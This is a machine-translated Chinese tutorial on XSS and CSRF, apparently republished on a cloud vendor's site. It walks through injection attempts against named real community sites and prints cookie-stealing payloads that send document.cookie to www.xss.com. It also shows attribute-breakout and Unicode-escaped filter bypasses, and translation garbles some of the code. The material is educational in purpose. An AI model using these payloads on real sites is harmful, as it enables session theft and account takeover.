Cross-site scripting (XSS) and CSRF (Cross-Site Request Forgery)

Source: Internet
Author: User
Tags csrf attack

We often say that network security should actually include the following three aspects of security: 1. confidentiality, such as user privacy theft and account theft. The common method is Trojan. 2. Integrity, for example, data integrity. For example, Kangxi sent a 14th son, which was tampered with by the fourth brother at that time, common methods are XSS cross-site scripting attacks and csrf Cross-Site Request Forgery. 3. Availability, such as whether our network services are available. Common attacks include dos and ddos attacks, denial of service (dos) attacks, and distributed denial of service (ddos) attacks. This article mainly describes the xss and csrf attacks, the dangers of these two attacks and some preventive measures in concert with examples, and some suggestions about the errors or incompleteness.Note: The attack examples on this site are all native instances and do not refer to the online examples. In addition, please do not try it out without your hands ~, This article aims to point out the attack methods and prevention methods.What is XSS? Its full name is: Cross-site scripting. It is named XSS to distinguish it from CSS Cascading Style Sheets. It is a security vulnerability attack for website applications and a type of code injection. It allows malicious users to inject code into the webpage, and other users will be affected when they watch the webpage. This type of attacks usually contain HTML and user-side scripting languages. What is CSRF? The full name of CSRF is Cross-site request forgery, which is a type of malicious use of websites. CSRF is more dangerous than XSS. To thoroughly understand the Attack Characteristics of CSRF, we need to understand the working principles of website sessions. Session I think everyone is familiar with it. No matter whether you have used. net or PHP to develop websites, you must have used session objects. But how does session work? If you do not know, please read it down. Ask a small question: If I disable the cookie in the browser, do you think the session will work normally? The answer is no. Here is a simple example to help you understand the session. For example, I bought a membership card for a golf club and the club gave me a membership card with a card number. What rights can I enjoy (for example, I am a senior membership card and can play 19 holes and pay-as-you-go drinks, while the junior membership card can only swing in the exercise bar) my personal information is stored in the database of the golf club. Every time I go to a golf club, I only need to present this senior membership card. The club will know who I am and serve me. Here, our senior membership card number = The sessionid stored in the cookie; and my senior membership card rights and personal information are the session objects of the server. We know that http requests are stateless, that is, each http request is independent of previous operations, however, each http request sends all cookies in the current domain to the server as part of the http request header, therefore, the server finds the member information in the session object based on the sessionid stored in the cookie in the request. Of course, the session can be stored in a variety of methods, either in a file or in the memory. Considering the distributed horizontal expansion, we recommend that you store it in a third-party media, such as redis or mongodb. After we understand the working mechanism of the session, CSRF is easy to understand. The CSRF attack is equivalent to A copy of my senior membership card. When A malicious user A can take this fake senior membership card to the golf club to play 19 holes and enjoy A delicious drink, I will receive a golf club bill at the end of the month! After understanding the CSRF mechanism, I believe it is self-evident that I can forge a user's identity and send spam information to its friends, these spam hyperlinks may contain Trojans or fraud information (such as borrowing money). If the spam information sent by CSRF also contains a worm link, friends who receive such harmful information may spread harmful information in case they open a connection to the private letter, so that tens of thousands of users are stolen and planted with Trojans. The application of the entire website may crash instantly, user complaints, user loss, and company reputation may even face collapse. On MSN, a 19-Year-Old Samy in the United States used the css background vulnerability to successfully infect more than 1 million users with worms within hours, although this worm does not destroy the entire application, it adds "Samy is my idol" after each user's signature, but once these vulnerabilities are exploited by malicious users, the consequences will be unimaginable, and the same thing happened on Sina Weibo. To obtain user information from CSRF, XSS injection must be successful. In the following example, alert ('xsss') is simply injected. As for malicious users, alert ('xsss') can be fully implemented ') instead of any js Code he wants, it is used to send post or get requests to modify user information, obtain user friend information, forge and send private messages, and even spread them to the entire web application as worms, therefore, do not underestimate the consequences of XSS injection attacks. It is not as simple as alert dialog box! Next we will roll up our sleeves to start our XSS tour: 1. Example: XSS injection to the famous Suzhou forum. I am from Suzhou. I will start with the local official forum www.2500sz.com. I opened the 2500sz.com forum and registered an account to publish a new topic. Enter the following code: the above Code is to enter a picture shared by the network. I directly wrote javascript in src: alert ('xss'); after the operation is successful, a post is generated. The alert ('xsss') window appears when you open this post I sent with IE6 and 7 users. Of course, I will make the title design very attractive. For example, "Edison Chen has outgoing version 2012 (20 p without code)". In this way, if I replace alert in it with malicious code, such as location. href =' http://www.xss.com?cookie= '+ Document. cookie;
 
I also got the user's cookie. If the server session is not set to expire, I will even get this cookie in the future without the user name and password, so that I can log on as a user.
Location. href is just simple. If the post jumps to this post, it will soon be deleted by the Administrator. However, if I write the following code and the post content is more authentic, maybe this post will harm many people:
 
 
Var img = document. createElement ('img ');
Img. src = 'HTTP: // www.xss.com? Cookie = '+ document. cookie;
Img. style. display = 'none ';
Document. getElementsByTagName ('body') [0]. appendChild (img); in this way, the cookie of the current user is sent to my malicious site, and the cookie of the user is obtained by obtaining the get parameter. Of course, we can use this method to obtain a variety of user data. 2. We still visit the www.szr.com community in the local sns community in Suzhou. This is an sns community for Suzhou people. The main interface is the Sina Weibo copy. Injection attempt 1: Enter the <script> tag directly and find that php escapes both single quotes and double quotes, and also filters out <> such symbols. If the attempt fails, continue to find a breakthrough. Injection Attempt 2:
Image injection. In some sns communities, users can upload images by themselves, and then fill in the ref or title attributes. These attributes often become injection points, if the application file name is not modified, it may be injected. More winners: In the new discuz version, users can share photos and view exif information of photos, such as the aperture camera model. Some experts have used software to modify exif information, embed malicious js Code in it, and then attract users to view exif information.
However, this szr community does not provide image title settings, and all uploaded images have been renamed by the server. The attempt fails again, and you are not discouraged to continue looking for a breakthrough.
 
Injection attempt 3:
We found the video button, which can be used to share videos through the video connection address. For example, I can share videos with other users through the youku video address. So I enable the video function and write it in the input box:
Http://www.baidu.com/?onclick=alert ('xss') title = "xss" generates an example: although the injection still fails, php escaped the single quotes, however, we found that the szr community did not validate the validity of the url I entered, and did not filter double quotation marks, resulting in the entire html dom element measurement. Leak Detection is a term that indicates that html tags are closed in advance for XSS attacks. We have found a breakthrough. The following describes how to deal with the annoying escape backslash. Injection attempt 4:
Since single quotes and double quotes are escaped, we cannot use them. Can we output strings without single quotes or double quotes? The answer is yes. I will add a video path and enter the following code:
Http://www.baidu.com/"onclick = alert (this. name) name = xss ref = after xss is built successfully, The onclick event and name attribute are successfully injected, what happened next is the same as we thought. When a user clicks our video button and the dialog box xss is displayed, the injection is successful. Let's have a cup of coconut milk to celebrate! Some may say that this is because the php side does not verify the video validity. For example, this url cannot be opened in a browser, just in the back-end simple request this address can be filtered out of this type of attacks, the answer is of course no, we see the following code: http://www.baidu.com/# "onclick = alert (this. name) name = xss ref = xss
 
You can paste this url into your browser and find that you can still open the Baidu page. Therefore, it is far from enough to verify the validity of a url.
 
3. renwai sns
Www.renrenwei.com is an sns project developed by my previous team. After I quit my job, they are still developing new versions. Currently, the number of XSS injection points in online versions is staggering. There is almost no defense. Let's take a brief look at the injection process:
 
Renren sns allows users to publish text sharing via Baidu's edit, and he is still allowed to directly edit html tags.
 
Try 1:
Write the <script> tag directly in the edit file, and the result is filtered out. It is so sorry for the boss that such a naked injection is not killed. Try 2: insert an image, open the html source code, and write onload = "alert ('xss')" directly in it. See figure: We have inserted malicious code, when the onload event of the image is over, the js script is executed. Baidu's edit is so bad! Xss is displayed, and the injection is successful. There are many injection points on the website, such as video sending.
4. ajax json Injection
If you cannot find an example at the moment, let me briefly introduce the principle of such injection. Modern websites use ajax to accelerate loading and improve user experience. Most of the communication protocols are in json string format, while pages use UTF-8 encoding for multiple languages.
 
For example, a scenario is a detailed page of a blog post. Many users leave a message for this blog post. To speed up page loading, the programmer needs to first display the content of the blog post, then obtain the first page of the message through ajax, and click the next page through ajax to obtain the second page of message.
The benefits of doing so are:
A. this accelerates the loading of the blog details page, because the message information usually includes the user's profile picture, nickname, id, and so on. You need to query multiple tables. Generally, you will first read the blog post and then pull it down to see the message, the message is loaded.
B. AJAX messages can be responded more quickly on pages. users do not have to refresh the blog posts, but directly view more messages.
 
Everything looks wonderful. The user goes to the details page and looks at the blog post slowly. At this time, ajax is working hard to get the message content and then displayed at the bottom of the page, however, when the front-end engineer used the following code to make the page, the process was not that good. Can you see any clues?
Var commentObj = $ ('# comment ');
 
$. Get ('/getcomment', {r: Math. random (), page: 1, article_id: 1234}, function (data ){
 
If (data. state! = 200) return commentObj.html ('message loading failed. ')
 
CommentObj.html (data. content );
 
}, 'Json ');
 
Our original design intention is to include the message content in the template at the backend and store it in the json format as follows:
{State: 200, content: "template string fragment "}
Then output the code in this template.
 
If the problem persists, proceed. We try to execute the following code:
$ ('Div: first'mirror.html ('<script> alert ("xss") </script> ');
 
OK normally, the alert box xss is displayed. You may think this is a minor child, our powerful php programmers have completely filtered out and escaped angle brackets through the experience in the above three cases. <> there is a single double quotation mark "', therefore, the above string of malicious code will be beautifully converted into the following characters and printed into the message content.
& Lt; script & gt; alert (& quot; xss & quot;) & lt;/script & gt;
 
First, I would like to praise our php programmers. Doing well can block some common xss injections, but in UTF-8, there is also a representation of the characters, that is, the unicode code, we rewrite the above malicious string as follows:
$ ('Div: signature ('\ u003c \ u0073 \ u0063 \ u0072 \ u0069 \ u0070 \ u0074 \ u003e \ u0061 \ signature \ u0074 \ u0028 \ u0022 \ u0078 \ u0073 \ u0073 \ u0022 \ u0029 \ u003c \ u002f \ u0073 \ u0063 \ u0072 \ u0069 \ u0070 \ u0074 \ u003e ');
 
HOHO, you can go to www.2cto.com on the jquery website to open firbug and run it. We found that the alert xss was output. We can see that our injection was successful again, but this time we were tired, you need to put the written malicious code into The Transcoder for escape.
 
Webqq once reported the Unicode XSS injection vulnerability above!
 
Finally, we will perform unicode and UTF-8 literacy, and the difference and connection between them.
Because ASCII (128 bits are not enough, and 256 bits are not enough in some countries), Unicode (solving the problem of insufficient ASCII encoding) occurs ), of course, Unicode is completely unrelated to our GB2312. Unicode is only a collection of symbols. It only specifies the binary code of the symbols. UTF-8 is one of the Unicode implementation methods, we can see the full English name of the UTF-8: Unicode Transformation Format.
The biggest feature of UTF-8 is that it is a variable length encoding method. It can use 1 ~ The four bytes indicate a symbol, and the length of the byte varies according to different symbols. If Unicode is converted to hexadecimal, the length is fixed, this is a waste of storage space for some English fonts. We can see the corresponding table below:
Unicode symbol range | UTF-8 encoding method
 
(Hexadecimal) | (Binary)
 
0000 0000-0000 007F | 0 xxxxxxx
 
0000 0080-0000 07FF | 110 xxxxx 10 xxxxxx
 
0000 0800-0000 FFFF | 1110 xxxx 10 xxxxxx 10 xxxxxx
 
0001 0000-0010 FFFF | 11110xxx 10 xxxxxx 10 xxxxxx 10 xxxxxx
 
 
Javascript uses \ U to display unicode encoding
 
Conclusion: XSS and CSRF are always around us. You can search for vulnerabilities on the Internet, including Sina Weibo, internet applications of large companies such as webqq once or still have such vulnerabilities.
It is really difficult to completely defend against such attacks. I believe you will have countermeasures in your mind after reading this article.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.